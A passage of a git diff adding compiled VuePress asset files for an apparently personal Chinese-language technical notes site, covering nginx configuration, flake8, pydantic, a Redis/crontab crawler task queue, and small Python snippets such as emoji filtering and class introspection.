tree -L 1 + +├── ace 在线编辑器组件 +├── acm_number.txt +├── acm_ranking.php acm排名页面 +├── admin +├── bbs +├── bbs.php +├── blog_show.php 博客 +├── bootstrap +├── config.yaml +├── csrf.php +├── discuss3 +├── edit_area +├── faqcss +├── favicon.ico +├── fckeditor +├── fonts +├── gpl-2.0.txt +├── highlight +├── image +├── include +├── index.php +├── kindeditor +├── lang +├── mergely +├── newranking_guize.txt +├── php_errors.log 日志,基本是警告与错误 +├── qrcodetmp +├── reportlogin.html +├── study_vedio 学习视频 +├── summary 知识图谱 +├── template +└── upload + +
# nginx
nginx 是最流行,性能最强的web服务器,使用多路复用,性能很强,基本替代了以前的apache
nginx 配置文件路径 for 生产
/etc/nginx/sites-enabled/default
nginx 配置文件路径 for 开发
/etc/nginx/sites-enabled/web-dev
nginx 常用命令
nginx -t 检查配置文件是否正确
root@iZ2ze954cl1vua04rezfxcZ:/home/judge/src/web# nginx -t +nginx: the configuration file /etc/nginx/nginx.conf syntax is ok +nginx: configuration file /etc/nginx/nginx.conf test is successful +
nginx -s reload 使用新的配置文件重载nginx(编辑配置后,需重载使nginx生效, 正常情况下无输出)
root@iZ2ze954cl1vua04rezfxcZ:/home/judge/src/web# nginx -s reload +root@iZ2ze954cl1vua04rezfxcZ:/home/judge/src/web# + +
nginx配置文件demo
`,26),c=[l];function t(p,r){return e(),s("div",null,c)}const v=n(d,[["render",t],["__file","oj.html.vue"]]);export{v as default}; diff --git "a/assets/project_\351\241\271\347\233\256\351\205\215\347\275\256\346\226\207\344\273\266.html-MQ8gDqA5.js" "b/assets/project_\351\241\271\347\233\256\351\205\215\347\275\256\346\226\207\344\273\266.html-MQ8gDqA5.js" new file mode 100644 index 0000000..accd9dc --- /dev/null +++ "b/assets/project_\351\241\271\347\233\256\351\205\215\347\275\256\346\226\207\344\273\266.html-MQ8gDqA5.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-70851bec","path":"/web/project_%E9%A1%B9%E7%9B%AE%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6.html","title":"[project]项目配置文件","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[project]项目配置文件.md"}');export{e as data}; diff --git "a/assets/project_\351\241\271\347\233\256\351\205\215\347\275\256\346\226\207\344\273\266.html-Yb36aCmH.js" "b/assets/project_\351\241\271\347\233\256\351\205\215\347\275\256\346\226\207\344\273\266.html-Yb36aCmH.js" new file mode 100644 index 0000000..b51f4db --- /dev/null +++ "b/assets/project_\351\241\271\347\233\256\351\205\215\347\275\256\346\226\207\344\273\266.html-Yb36aCmH.js" @@ -0,0 +1 @@ +import{_ as t,o as e,c as o,a as c}from"./app-x8p6wK6B.js";const p={},a=c('# 主要区别在于listen 的端口以及root 的位置, 创建新的文件,并修改这两个,即可设置多个站点 +server { + + listen 8000 default_server; + listen [::]:8000 default_server; + + include snippets/phpmyadmin.conf; + root /home/judge/src/web-dev; + + # Add index.php to the list if you are using PHP + index index.php index.htm index.nginx-debian.html; + + server_name _; + + location / { + # First attempt to serve request as file, then + # as directory, then fall back to displaying a 404. + try_files $uri $uri/ =404; + } + + # pass PHP scripts to FastCGI server + # + location ~ \\.php$ { + include snippets/fastcgi-php.conf; + # + # # With php-fpm (or other unix sockets): + fastcgi_pass unix:/var/run/php/php7.2-fpm.sock; + # # With php-cgi (or other tcp sockets): + # fastcgi_pass 127.0.0.1:9000; + #} + + }#added by hustoj + + + +} + + +
# [project]项目配置文件
2023-7-11
配置 pre-commit 以及setup.py setup.cfg, pyproject.toml
https://pre-commit.com/#python
使用flake8检查python代码格式 问题: 变量名确实长,因此超过了一行120字符限制
解决方案: 在这行后面加上
# noqa
',7),n=[a];function r(s,_){return e(),o("div",null,n)}const l=t(p,[["render",r],["__file","project_项目配置文件.html.vue"]]);export{l as default}; diff --git "a/assets/pydantic\347\211\271\346\256\212\351\252\214\350\257\201.html-HkEdQiyu.js" "b/assets/pydantic\347\211\271\346\256\212\351\252\214\350\257\201.html-HkEdQiyu.js" new file mode 100644 index 0000000..e7b79f6 --- /dev/null +++ "b/assets/pydantic\347\211\271\346\256\212\351\252\214\350\257\201.html-HkEdQiyu.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-71f31afa","path":"/python/pydantic%E7%89%B9%E6%AE%8A%E9%AA%8C%E8%AF%81.html","title":"pydantic特殊验证","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/pydantic特殊验证.md"}');export{t as data}; diff --git "a/assets/pydantic\347\211\271\346\256\212\351\252\214\350\257\201.html-kxDwQ-i1.js" "b/assets/pydantic\347\211\271\346\256\212\351\252\214\350\257\201.html-kxDwQ-i1.js" new file mode 100644 index 0000000..b7325c5 --- /dev/null +++ "b/assets/pydantic\347\211\271\346\256\212\351\252\214\350\257\201.html-kxDwQ-i1.js" @@ -0,0 +1 @@ +import{_ as s,o as n,c,b as t,d as e}from"./app-x8p6wK6B.js";const a="/assets/280304492836402-eUylmFoN.png",_="/assets/267835701625494-p4jK1vfP.png",o={},i=t("h1",{id:"pydantic特殊验证",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#pydantic特殊验证","aria-hidden":"true"},"#"),e(" pydantic特殊验证")],-1),l=t("p",null,[t("img",{src:a,alt:""})],-1),d=t("p",null,[e("这里对应每种的验证是不一样的,例如,对于一般的config,lable的长度限制为12 对switch,则限制为40 "),t("img",{src:_,alt:""})],-1),r=t("p",null,"实测,使用时,已经转为MESFieldConfig 类型,会验证max_length=12,所以只能在基类去掉max_length的校验,改为单独编写",-1),p=[i,l,d,r];function h(m,f){return n(),c("div",null,p)}const g=s(o,[["render",h],["__file","pydantic特殊验证.html.vue"]]);export{g as default}; diff --git "a/assets/python_\344\273\245\345\233\276\346\220\234\345\233\276\347\263\273\347\273\237.html-TZtQBxRT.js" "b/assets/python_\344\273\245\345\233\276\346\220\234\345\233\276\347\263\273\347\273\237.html-TZtQBxRT.js" new file mode 100644 index 0000000..36c6ac1 --- /dev/null +++ "b/assets/python_\344\273\245\345\233\276\346\220\234\345\233\276\347\263\273\347\273\237.html-TZtQBxRT.js" @@ -0,0 +1 @@ +import{_ as e,o,c as _,b as t,d as s}from"./app-x8p6wK6B.js";const n="/assets/20220914154132929_32258-sJ3-Cxv6.png",c={},a=t("h1",{id:"python-以图搜图系统",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#python-以图搜图系统","aria-hidden":"true"},"#"),s(" [python]以图搜图系统")],-1),r=t("blockquote",null,[t("p",null,"https://blog.51cto.com/u_1539555/3246466?abTest=51cto")],-1),l=t("p",null,[t("img",{src:n,alt:""})],-1),h=[a,r,l];function d(i,p){return o(),_("div",null,h)}const m=e(c,[["render",d],["__file","python_以图搜图系统.html.vue"]]);export{m as default}; diff --git "a/assets/python_\344\273\245\345\233\276\346\220\234\345\233\276\347\263\273\347\273\237.html-o2hDWyzD.js" "b/assets/python_\344\273\245\345\233\276\346\220\234\345\233\276\347\263\273\347\273\237.html-o2hDWyzD.js" new file mode 100644 index 0000000..225a1c1 --- /dev/null +++ "b/assets/python_\344\273\245\345\233\276\346\220\234\345\233\276\347\263\273\347\273\237.html-o2hDWyzD.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-3c9f71df","path":"/web/python_%E4%BB%A5%E5%9B%BE%E6%90%9C%E5%9B%BE%E7%B3%BB%E7%BB%9F.html","title":"[python]以图搜图系统","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[python]以图搜图系统.md"}');export{t as data}; diff --git "a/assets/pythongui-\347\210\266\345\255\220\350\277\233\347\250\213\344\270\216\345\255\244\345\204\277\350\277\233\347\250\213.html-NY-oSU1C.js" "b/assets/pythongui-\347\210\266\345\255\220\350\277\233\347\250\213\344\270\216\345\255\244\345\204\277\350\277\233\347\250\213.html-NY-oSU1C.js" new file mode 100644 index 0000000..593316e --- /dev/null +++ "b/assets/pythongui-\347\210\266\345\255\220\350\277\233\347\250\213\344\270\216\345\255\244\345\204\277\350\277\233\347\250\213.html-NY-oSU1C.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-6b835d08","path":"/python/pythongui-%E7%88%B6%E5%AD%90%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B.html","title":"pythongui-父子进程与孤儿进程","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/pythongui-父子进程与孤儿进程.md"}');export{t as data}; diff --git "a/assets/pythongui-\347\210\266\345\255\220\350\277\233\347\250\213\344\270\216\345\255\244\345\204\277\350\277\233\347\250\213.html-gjByGcrm.js" "b/assets/pythongui-\347\210\266\345\255\220\350\277\233\347\250\213\344\270\216\345\255\244\345\204\277\350\277\233\347\250\213.html-gjByGcrm.js" new file mode 100644 index 0000000..f48bff8 --- /dev/null +++ "b/assets/pythongui-\347\210\266\345\255\220\350\277\233\347\250\213\344\270\216\345\255\244\345\204\277\350\277\233\347\250\213.html-gjByGcrm.js" @@ -0,0 +1 @@ +import{_ as o,o as e,c as s,b as t,d as n}from"./app-x8p6wK6B.js";const _="/assets/20220314140628431_1059217444-CI6eIG4g.png",c={},l=t("h1",{id:"pythongui-父子进程与孤儿进程",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#pythongui-父子进程与孤儿进程","aria-hidden":"true"},"#"),n(" pythongui-父子进程与孤儿进程")],-1),i=t("blockquote",null,[t("p",null,"https://www.cnblogs.com/Tour/p/5180801.html")],-1),p=t("p",null,"先介绍一下我的项目,项目的目标是使用一台计算机,通过usb集线板,控制n台手机 其中不同的任务封装为不同的程序,在python gui中通过subprocess.Popen 方法异步调用",-1),u=t("p",null,"这些python程序会通过adb库获取到所有已经连接到的安卓手机,并通过multiprocessing库并行执行相应的任务",-1),h=t("p",null,"这时,有一个需求是停止当前的演示程序,我们知道,通过subprocess.Popen方法可以获取一个进程对象,通过调用kill方法或terminate方法即可杀死进程",-1),r=t("p",null,[t("img",{src:_,alt:""})],-1),a=t("p",null,"但是随之而来的,就是子进程变为孤儿进程,仍在继续执行",-1),d=t("p",null,"通过查阅相关资料,我了解到可以设置deamon=True来使主进程在正常退出时,子进程也退出,但是我这里是中断操作",-1),m=[l,i,p,u,h,r,a,d];function g(b,f){return e(),s("div",null,m)}const x=o(c,[["render",g],["__file","pythongui-父子进程与孤儿进程.html.vue"]]);export{x as default}; diff --git "a/assets/python\344\273\273\345\212\241\351\230\237\345\210\227.html-MW7lRocT.js" "b/assets/python\344\273\273\345\212\241\351\230\237\345\210\227.html-MW7lRocT.js" new file mode 100644 index 0000000..513c938 --- /dev/null +++ "b/assets/python\344\273\273\345\212\241\351\230\237\345\210\227.html-MW7lRocT.js" @@ -0,0 +1,13 @@ +import{_ as a,o as e,c as i,a as d}from"./app-x8p6wK6B.js";const n={},r=d(`https://github.com/PyCQA/flake8 ines that contain a # noqa comment at the end will not issue warnings.
# 任务队列
# 流程
# 最初版本
1.通过接口获取到今天的数据(.csv)
- 执行程序
# aps版本
定义一个定时任务, 然后每天稳定拉取数据,到任务队列中, 程序读取此队列, 并将爬取结果保存到结果队列
# 四个进程
- 任务获取进程
- 爬虫进程
- 上传进程
- 监控进程
# 两个队列
- 任务队列
- 结果队列
这种方式看起来非常专业, 但是有时候临时需要跑一部分数据时, 就会很麻烦, 因此我想这在队列这里解决, 从python 自带的队列替换为 redis的list
# redis 版本
在将python 的队列更改为redis 后, 我又编写了 redis_push.py , 可以手动将文件中的数据推送到redis 队列中, 非常的好用
但是过了周六周日两天后, 我发现 APScheduler 又出现了bug, 没有按时拉取数据, 我不由得怀疑这个库的稳定性 ,因此我又回到了crontab
# crontab 版本
经过了近一个月, 多次的更改,我探究了最适合的方案
需要有以下几个优点
- 可随时跑残缺数据 python run.py file
- 网站变化频繁, 只需修改spider 文件即可, 比较方便
`,20),s=[r];function l(t,h){return e(),i("div",null,s)}const o=a(n,[["render",l],["__file","python任务队列.html.vue"]]);export{o as default}; diff --git "a/assets/python\344\273\273\345\212\241\351\230\237\345\210\227.html-QsoxeOWC.js" "b/assets/python\344\273\273\345\212\241\351\230\237\345\210\227.html-QsoxeOWC.js" new file mode 100644 index 0000000..fb319ba --- /dev/null +++ "b/assets/python\344\273\273\345\212\241\351\230\237\345\210\227.html-QsoxeOWC.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-7bcdc38f","path":"/python/python%E4%BB%BB%E5%8A%A1%E9%98%9F%E5%88%97.html","title":"任务队列","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"最初版本","slug":"最初版本","link":"#最初版本","children":[]},{"level":2,"title":"aps版本","slug":"aps版本","link":"#aps版本","children":[{"level":3,"title":"四个进程","slug":"四个进程","link":"#四个进程","children":[]},{"level":3,"title":"两个队列","slug":"两个队列","link":"#两个队列","children":[]}]},{"level":2,"title":"redis 版本","slug":"redis-版本","link":"#redis-版本","children":[]},{"level":2,"title":"crontab 版本","slug":"crontab-版本","link":"#crontab-版本","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/python任务队列.md"}');export{l as data}; diff --git "a/assets/python\344\275\277\347\224\250\346\255\243\345\210\231\350\277\207\346\273\244\350\241\250\346\203\205\347\254\246\345\217\267.html-0YAfmiVZ.js" "b/assets/python\344\275\277\347\224\250\346\255\243\345\210\231\350\277\207\346\273\244\350\241\250\346\203\205\347\254\246\345\217\267.html-0YAfmiVZ.js" new file mode 100644 index 0000000..3c9e223 --- /dev/null +++ "b/assets/python\344\275\277\347\224\250\346\255\243\345\210\231\350\277\207\346\273\244\350\241\250\346\203\205\347\254\246\345\217\267.html-0YAfmiVZ.js" @@ -0,0 +1,25 @@ +import{_ as e,o as n,c as u,a as i}from"./app-x8p6wK6B.js";const s={},t=i(`+- source_data/ 原始数据 +- aaa/ 爬虫aaa + -- spider.py 爬虫主体, 仅负责爬取数据 + -- main.py 读取文件, 解析数据, 上传数据等等 + -- data/ 爬到的数据 +- bbb/ + -- spider.py + -- main.py + -- data/ +- download_data.py 拉取原始数据, 使用crontab 例行化 + +
# python使用正则过滤表情符号
`,2),o=[t];function d(l,a){return n(),u("div",null,o)}const v=e(s,[["render",d],["__file","python使用正则过滤表情符号.html.vue"]]);export{v as default}; diff --git "a/assets/python\344\275\277\347\224\250\346\255\243\345\210\231\350\277\207\346\273\244\350\241\250\346\203\205\347\254\246\345\217\267.html-enwOLL_3.js" "b/assets/python\344\275\277\347\224\250\346\255\243\345\210\231\350\277\207\346\273\244\350\241\250\346\203\205\347\254\246\345\217\267.html-enwOLL_3.js" new file mode 100644 index 0000000..75d8ba0 --- /dev/null +++ "b/assets/python\344\275\277\347\224\250\346\255\243\345\210\231\350\277\207\346\273\244\350\241\250\346\203\205\347\254\246\345\217\267.html-enwOLL_3.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-26816455","path":"/python/python%E4%BD%BF%E7%94%A8%E6%AD%A3%E5%88%99%E8%BF%87%E6%BB%A4%E8%A1%A8%E6%83%85%E7%AC%A6%E5%8F%B7.html","title":"python使用正则过滤表情符号","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/python使用正则过滤表情符号.md"}');export{t as data}; diff --git "a/assets/python\345\257\271\346\257\224\344\270\244\344\270\252\346\227\266\351\227\264\345\255\227\347\254\246\344\270\262.html--3T0cbqc.js" "b/assets/python\345\257\271\346\257\224\344\270\244\344\270\252\346\227\266\351\227\264\345\255\227\347\254\246\344\270\262.html--3T0cbqc.js" new file mode 100644 index 0000000..27b6c7b --- /dev/null +++ "b/assets/python\345\257\271\346\257\224\344\270\244\344\270\252\346\227\266\351\227\264\345\255\227\347\254\246\344\270\262.html--3T0cbqc.js" @@ -0,0 +1,7 @@ +import{_ as n,r as a,o,c as i,b as e,d as r,e as s,a as d}from"./app-x8p6wK6B.js";const c={},l=d(`def remove_emojis(data): + emoj = re.compile("[" + u"\\U0001F600-\\U0001F64F" # emoticons + u"\\U0001F300-\\U0001F5FF" # symbols & pictographs + u"\\U0001F680-\\U0001F6FF" # transport & map symbols + u"\\U0001F1E0-\\U0001F1FF" # flags (iOS) + # u"\\U00002500-\\U00002BEF" # chinese char + u"\\U00002702-\\U000027B0" + u"\\U00002702-\\U000027B0" + # u"\\U000024C2-\\U0001F251" //中文 + u"\\U0001f926-\\U0001f937" + u"\\U00010000-\\U0010ffff" + u"\\u2640-\\u2642" + u"\\u2600-\\u2B55" + u"\\u200d" + u"\\u23cf" + u"\\u23e9" + u"\\u231a" + u"\\ufe0f" # dingbats + u"\\u3030" + "]+", re.UNICODE) + return re.sub(emoj, '', data) + + +
# python对比两个时间字符串
`,2),m={href:"https://docs.python.org/zh-cn/3/howto/sorting.html",target:"_blank",rel:"noopener noreferrer"};function _(h,u){const t=a("ExternalLinkIcon");return o(),i("div",null,[l,e("p",null,[e("a",m,[r("官方文档"),s(t)])])])}const v=n(c,[["render",_],["__file","python对比两个时间字符串.html.vue"]]);export{v as default}; diff --git "a/assets/python\345\257\271\346\257\224\344\270\244\344\270\252\346\227\266\351\227\264\345\255\227\347\254\246\344\270\262.html-6-UMo1AV.js" "b/assets/python\345\257\271\346\257\224\344\270\244\344\270\252\346\227\266\351\227\264\345\255\227\347\254\246\344\270\262.html-6-UMo1AV.js" new file mode 100644 index 0000000..caef311 --- /dev/null +++ "b/assets/python\345\257\271\346\257\224\344\270\244\344\270\252\346\227\266\351\227\264\345\255\227\347\254\246\344\270\262.html-6-UMo1AV.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-39784c24","path":"/python/python%E5%AF%B9%E6%AF%94%E4%B8%A4%E4%B8%AA%E6%97%B6%E9%97%B4%E5%AD%97%E7%AC%A6%E4%B8%B2.html","title":"python对比两个时间字符串","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/python对比两个时间字符串.md"}');export{t as data}; diff --git "a/assets/python\346\211\223\345\215\260\350\241\214\345\217\267.html-A1gPX7eV.js" "b/assets/python\346\211\223\345\215\260\350\241\214\345\217\267.html-A1gPX7eV.js" new file mode 100644 index 0000000..87463ea --- /dev/null +++ "b/assets/python\346\211\223\345\215\260\350\241\214\345\217\267.html-A1gPX7eV.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-2a51215c","path":"/python/python%E6%89%93%E5%8D%B0%E8%A1%8C%E5%8F%B7.html","title":"skill","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"python 打印行号","slug":"python-打印行号","link":"#python-打印行号","children":[]},{"level":3,"title":"python 获取当前脚本或其他模块的所有类","slug":"python-获取当前脚本或其他模块的所有类","link":"#python-获取当前脚本或其他模块的所有类","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/python打印行号.md"}');export{t as data}; diff --git "a/assets/python\346\211\223\345\215\260\350\241\214\345\217\267.html-o7fc7YJ0.js" "b/assets/python\346\211\223\345\215\260\350\241\214\345\217\267.html-o7fc7YJ0.js" new file mode 100644 index 0000000..7e54d0e --- /dev/null +++ "b/assets/python\346\211\223\345\215\260\350\241\214\345\217\267.html-o7fc7YJ0.js" @@ -0,0 +1,53 @@ +import{_ as n,o as s,c as a,a as t}from"./app-x8p6wK6B.js";const p={},e=t(`import time +t1 = time.strptime(time1, "%Y%m%d") +t2 = time.strptime(time2, "%Y%m%d") + +t1 > t2 + +
# skill
# python 打印行号
import sys + +print(sys._getframe().f_code.co_name) # 当前函数名 +print(sys._getframe().f_lineno) # 当前行号 +
# python 获取当前脚本或其他模块的所有类
背景: 一个py文件里有40+个类, 需要创建实例并执行共有的run方法, 简单的方法是写40+行代码完成任务, 也可以通过python高阶函数使用
+import sys, inspect + + +def get_class(current_module): + cls = [] + print("class:",end='') + for name, obj in inspect.getmembers(current_module): + if inspect.isclass(obj): + print(name, end=',') + cls.append(obj) + print() + return cls + + +class A(): + def run(self): + print("current class:", self.__class__.__name__) + + +class B(): + def run(self): + print("current class:", self.__class__.__name__) + + +class C(): + def run(self): + print("current class:", self.__class__.__name__) + + +class D(): + def run(self): + print("current class:", self.__class__.__name__) + + +if __name__ == '__main__': + current_module = sys.modules[__name__] 获取当前文件对象 + + for cls in get_class(current_module): + cls().run() + + +
运行结果
`,8),c=[e];function o(l,i){return s(),a("div",null,c)}const d=n(p,[["render",o],["__file","python打印行号.html.vue"]]);export{d as default}; diff --git a/assets/pytorch.html-BGmtra1R.js b/assets/pytorch.html-BGmtra1R.js new file mode 100644 index 0000000..72108f9 --- /dev/null +++ b/assets/pytorch.html-BGmtra1R.js @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-d6e05f70","path":"/python/cv/pytorch.html","title":"pytorch","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/cv/pytorch.md"}');export{t as data}; diff --git a/assets/pytorch.html-T61jQByQ.js b/assets/pytorch.html-T61jQByQ.js new file mode 100644 index 0000000..f28f98e --- /dev/null +++ b/assets/pytorch.html-T61jQByQ.js @@ -0,0 +1 @@ +import{_ as t,o as c,c as o,b as e,d as r}from"./app-x8p6wK6B.js";const a={},s=e("h1",{id:"pytorch",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#pytorch","aria-hidden":"true"},"#"),r(" pytorch")],-1),n=[s];function _(h,d){return c(),o("div",null,n)}const l=t(a,[["render",_],["__file","pytorch.html.vue"]]);export{l as default}; diff --git "a/assets/shinobi-\345\274\200\346\272\220NVR.html-JZKGSKui.js" "b/assets/shinobi-\345\274\200\346\272\220NVR.html-JZKGSKui.js" new file mode 100644 index 0000000..0db68fa --- /dev/null +++ "b/assets/shinobi-\345\274\200\346\272\220NVR.html-JZKGSKui.js" @@ -0,0 +1 @@ +import{_ as s,o as t,c as n,b as e,d as o}from"./app-x8p6wK6B.js";const i="/assets/378723495836805-Akg88FZH.png",_={},a=e("h1",{id:"shinobi-开源nvr",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#shinobi-开源nvr","aria-hidden":"true"},"#"),o(" shinobi-开源NVR")],-1),c=e("p",null,[e("img",{src:i,alt:""})],-1),r=[a,c];function h(d,l){return t(),n("div",null,r)}const m=s(_,[["render",h],["__file","shinobi-开源NVR.html.vue"]]);export{m as default}; diff --git "a/assets/shinobi-\345\274\200\346\272\220NVR.html-mGkOVpVm.js" "b/assets/shinobi-\345\274\200\346\272\220NVR.html-mGkOVpVm.js" new file mode 100644 index 0000000..dbac301 --- /dev/null +++ "b/assets/shinobi-\345\274\200\346\272\220NVR.html-mGkOVpVm.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-4a06d9af","path":"/video/shinobi-%E5%BC%80%E6%BA%90NVR.html","title":"shinobi-开源NVR","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"video/shinobi-开源NVR.md"}');export{t as data}; diff --git a/assets/style-0PEmhfVm.css b/assets/style-0PEmhfVm.css new file mode 100644 index 0000000..193f99a --- /dev/null +++ b/assets/style-0PEmhfVm.css @@ -0,0 +1 @@ +:root{--back-to-top-z-index: 5;--back-to-top-color: #3eaf7c;--back-to-top-color-hover: #71cda3}.back-to-top{cursor:pointer;position:fixed;bottom:2rem;right:2.5rem;width:2rem;height:1.2rem;background-color:var(--back-to-top-color);-webkit-mask:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2049.484%2028.284'%3e%3cg%20transform='translate(-229%20-126.358)'%20fill='currentColor'%3e%3crect%20width='35'%20height='5'%20rx='2'%20transform='rotate(-45%20296.902%20-200.874)'/%3e%3crect%20width='35'%20height='5'%20rx='2'%20transform='rotate(-135%20169.502%2020.377)'/%3e%3c/g%3e%3c/svg%3e") no-repeat;mask:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2049.484%2028.284'%3e%3cg%20transform='translate(-229%20-126.358)'%20fill='currentColor'%3e%3crect%20width='35'%20height='5'%20rx='2'%20transform='rotate(-45%20296.902%20-200.874)'/%3e%3crect%20width='35'%20height='5'%20rx='2'%20transform='rotate(-135%20169.502%2020.377)'/%3e%3c/g%3e%3c/svg%3e") no-repeat;z-index:var(--back-to-top-z-index)}.back-to-top:hover{background-color:var(--back-to-top-color-hover)}@media (max-width: 959px){.back-to-top{display:none}}@media print{.back-to-top{display:none}}.back-to-top-enter-active,.back-to-top-leave-active{transition:opacity .3s}.back-to-top-enter-from,.back-to-top-leave-to{opacity:0}:root{--external-link-icon-color: #aaa}.external-link-icon{position:relative;display:inline-block;color:var(--external-link-icon-color);vertical-align:middle;top:-1px}@media print{.external-link-icon{display:none}}.external-link-icon-sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border-width:0;-webkit-user-select:none;-moz-user-select:none;user-select:none}:root{--nprogress-color: #29d;--nprogress-z-index: 1031}#nprogress{pointer-events:none}#nprogress .bar{background:var(--nprogress-color);position:fixed;z-index:var(--nprogress-z-index);top:0;left:0;width:100%;height:2px}:root{--c-brand: #3eaf7c;--c-brand-light: #4abf8a;--c-bg: #ffffff;--c-bg-light: #f3f4f5;--c-bg-lighter: #eeeeee;--c-bg-dark: #ebebec;--c-bg-darker: #e6e6e6;--c-bg-navbar: var(--c-bg);--c-bg-sidebar: var(--c-bg);--c-bg-arrow: #cccccc;--c-text: #2c3e50;--c-text-accent: var(--c-brand);--c-text-light: #3a5169;--c-text-lighter: #4e6e8e;--c-text-lightest: #6a8bad;--c-text-quote: #999999;--c-border: #eaecef;--c-border-dark: #dfe2e5;--c-tip: #42b983;--c-tip-bg: var(--c-bg-light);--c-tip-title: var(--c-text);--c-tip-text: var(--c-text);--c-tip-text-accent: var(--c-text-accent);--c-warning: #ffc310;--c-warning-bg: #fffae3;--c-warning-bg-light: #fff3ba;--c-warning-bg-lighter: #fff0b0;--c-warning-border-dark: #f7dc91;--c-warning-details-bg: #fff5ca;--c-warning-title: #f1b300;--c-warning-text: #746000;--c-warning-text-accent: #edb100;--c-warning-text-light: #c1971c;--c-warning-text-quote: #ccab49;--c-danger: #f11e37;--c-danger-bg: #ffe0e0;--c-danger-bg-light: #ffcfde;--c-danger-bg-lighter: #ffc9c9;--c-danger-border-dark: #f1abab;--c-danger-details-bg: #ffd4d4;--c-danger-title: #ed1e2c;--c-danger-text: #660000;--c-danger-text-accent: #bd1a1a;--c-danger-text-light: #b5474d;--c-danger-text-quote: #c15b5b;--c-details-bg: #eeeeee;--c-badge-tip: var(--c-tip);--c-badge-warning: #ecc808;--c-badge-warning-text: var(--c-bg);--c-badge-danger: #dc2626;--c-badge-danger-text: var(--c-bg);--t-color: .3s ease;--t-transform: .3s ease;--code-bg-color: #282c34;--code-hl-bg-color: rgba(0, 0, 0, .66);--code-ln-color: #9e9e9e;--code-ln-wrapper-width: 3.5rem;--font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;--font-family-code: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;--navbar-height: 3.6rem;--navbar-padding-v: .7rem;--navbar-padding-h: 1.5rem;--sidebar-width: 20rem;--sidebar-width-mobile: calc(var(--sidebar-width) * .82);--content-width: 740px;--homepage-width: 960px}.back-to-top{--back-to-top-color: var(--c-brand);--back-to-top-color-hover: var(--c-brand-light)}.DocSearch{--docsearch-primary-color: var(--c-brand);--docsearch-text-color: var(--c-text);--docsearch-highlight-color: var(--c-brand);--docsearch-muted-color: var(--c-text-quote);--docsearch-container-background: rgba(9, 10, 17, .8);--docsearch-modal-background: var(--c-bg-light);--docsearch-searchbox-background: var(--c-bg-lighter);--docsearch-searchbox-focus-background: var(--c-bg);--docsearch-searchbox-shadow: inset 0 0 0 2px var(--c-brand);--docsearch-hit-color: var(--c-text-light);--docsearch-hit-active-color: var(--c-bg);--docsearch-hit-background: var(--c-bg);--docsearch-hit-shadow: 0 1px 3px 0 var(--c-border-dark);--docsearch-footer-background: var(--c-bg)}.external-link-icon{--external-link-icon-color: var(--c-text-quote)}.medium-zoom-overlay{--medium-zoom-bg-color: var(--c-bg)}#nprogress{--nprogress-color: var(--c-brand)}.pwa-popup{--pwa-popup-text-color: var(--c-text);--pwa-popup-bg-color: var(--c-bg);--pwa-popup-border-color: var(--c-brand);--pwa-popup-shadow: 0 4px 16px var(--c-brand);--pwa-popup-btn-text-color: var(--c-bg);--pwa-popup-btn-bg-color: var(--c-brand);--pwa-popup-btn-hover-bg-color: var(--c-brand-light)}.search-box{--search-bg-color: var(--c-bg);--search-accent-color: var(--c-brand);--search-text-color: var(--c-text);--search-border-color: var(--c-border);--search-item-text-color: var(--c-text-lighter);--search-item-focus-bg-color: var(--c-bg-light)}html.dark{--c-brand: #3aa675;--c-brand-light: #349469;--c-bg: #22272e;--c-bg-light: #2b313a;--c-bg-lighter: #262c34;--c-bg-dark: #343b44;--c-bg-darker: #37404c;--c-text: #adbac7;--c-text-light: #96a7b7;--c-text-lighter: #8b9eb0;--c-text-lightest: #8094a8;--c-border: #3e4c5a;--c-border-dark: #34404c;--c-tip: #318a62;--c-warning: #e0ad15;--c-warning-bg: #2d2f2d;--c-warning-bg-light: #423e2a;--c-warning-bg-lighter: #44442f;--c-warning-border-dark: #957c35;--c-warning-details-bg: #39392d;--c-warning-title: #fdca31;--c-warning-text: #d8d96d;--c-warning-text-accent: 